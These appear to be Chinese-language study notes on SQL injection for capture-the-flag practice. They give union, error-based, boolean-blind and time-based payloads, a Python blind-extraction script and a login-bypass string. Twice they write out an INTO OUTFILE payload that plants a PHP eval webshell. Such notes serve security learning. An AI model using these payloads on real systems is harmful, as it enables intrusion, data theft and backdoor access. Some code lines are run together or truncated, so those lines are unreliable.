文章目錄
- 前言
- 知識學習
- 注釋的兩種形式
- 字符型注入
- 萬能密碼
- 布爾盲注
- 報錯注入
- 堆疊注入
- 時間盲注
- 二次注入
- 小技巧
前言
這次學習建立在對數據庫有基本的認識,了解基礎的增刪改查語句,數字型注入和字符型注入的基礎上,進一步深入學習知識,并進行實戰訓練
知識學習
注釋的兩種形式
- #號,url編碼用%23替代
- --空格
字符型注入
注入字符被引號包裹,需要采取一定的策略繞過,包括or截斷,前面引號后面注釋等
//eq:拼接sql語句查找指定ID用戶
$sql = "select username,password from user
where username !='flag' and id = '".$_GET['id']."' limit 1;";
顯然需要傳入id,假設傳入id=1,那么我們得到的效果就是id=‘1’,所以在這里需要構造語句來達到查詢效果
在sql語句中,and運算符的優先級比or高,構造id=-1使username!='flag’失效,再構造or username='flag’達到查詢效果。
payload:id=-1’ or username='fla
如果返回邏輯繼續優化,我們就需要用常規聯合查詢的步驟走
//檢查結果是否有flagif($row->username!=='flag'){$ret['msg']='查詢成功';}
首先,通過排序邏輯判斷列數
id=1 order by 2(依據第二列排序,這個數字逐漸增加,直到報錯為止,得到列數)
select 1,database() 得到數據庫名稱
select group_concat(table_name) from information_schema.tables where table_schema=database();得到表名
select (select group_concat(column_name) from information_schema.columns where table_name=‘ctfshow_user’),database() 得到列名
select (select group_concat(password) from ctfshow_web.ctfshow_user2),database()%23 拿具體信息
在無過濾題目中,可以采取寫入一句話木馬再蟻劍連接的形式
id=0' union select 1,2,"<?php eval($_POST[1]);?>" into outfile "/var/www/html/1.php%23"
萬能密碼
假設我們的登錄邏輯是user=‘a’ and password=‘b’,and邏輯的優先級比or高,所以如果前面的登錄密碼輸錯,那么一定是0,0 or 1的結果為1,所以就產生了萬能密碼,當然,在現在的網站中絕大部分都不會有這樣的漏洞
‘or 1=1--
布爾盲注
注入沒有明顯的返回結果,注入成功頁面正常,注入失敗頁面報錯
猜測腳本
import requestsurl = "http://127.0.0.1/login.php"string = "abcdefghijklmnopqrstuvwxyz0123456789";
password = ""for i in range(10):for s in string:data={"username":f"xxx' or if(substr((select password from user where id = 1),{i+1},1)='{s}',1,0)#","password":"ctfshow"}response = requests.post(url=url,data=data)if "登錄成功" in response.text:password+=sbreakelse:print(f"正在嘗試第{i+1}位字符是否為{s}")print("password is "+password)
報錯注入
報錯會返回信息,利用這一點拿到信息
updatexml函數強制報錯,并可執行語句,帶出語句的查詢結果
username=admin' or updatexml(1,concat('^',(select group_concat(column_name) from information_schema.columns where table_name='user' and table_schema=database()),'^'),1)%23&password=123123
類似的,采用整數溢出報錯,不存在函數報錯等等也能達到同樣的效果
堆疊注入
多個;號多個注入語句
拼接法繞過
eg:@a=sele,@b=ct,@payload=@a+@b
時間盲注
可以執行sql注入,但是不知道注入結果,甚至不知道注入了沒
- sleep函數獲取延時信息
- 笛卡爾積查詢(查詢大量數量達到一定時間的效果)
- get_lock()函數延時法,針對數據庫的長連接有效(php每次用完后就會斷開連接,java維護數據庫連接池,實現長連接)
二次注入
無法直接注入,但是可以把要注入的數據先放到數據庫中,其他地方引用數據庫中的的數據拼接語句時不再進行過濾
小技巧
表示數據時可以采用十六進制形式
無過濾題目可以采用寫入shell,再蟻劍連接查看數據庫
1 union select 1,2,"<?php eval($_POST[1]);?>" into outfile "/var/www/html/1.php"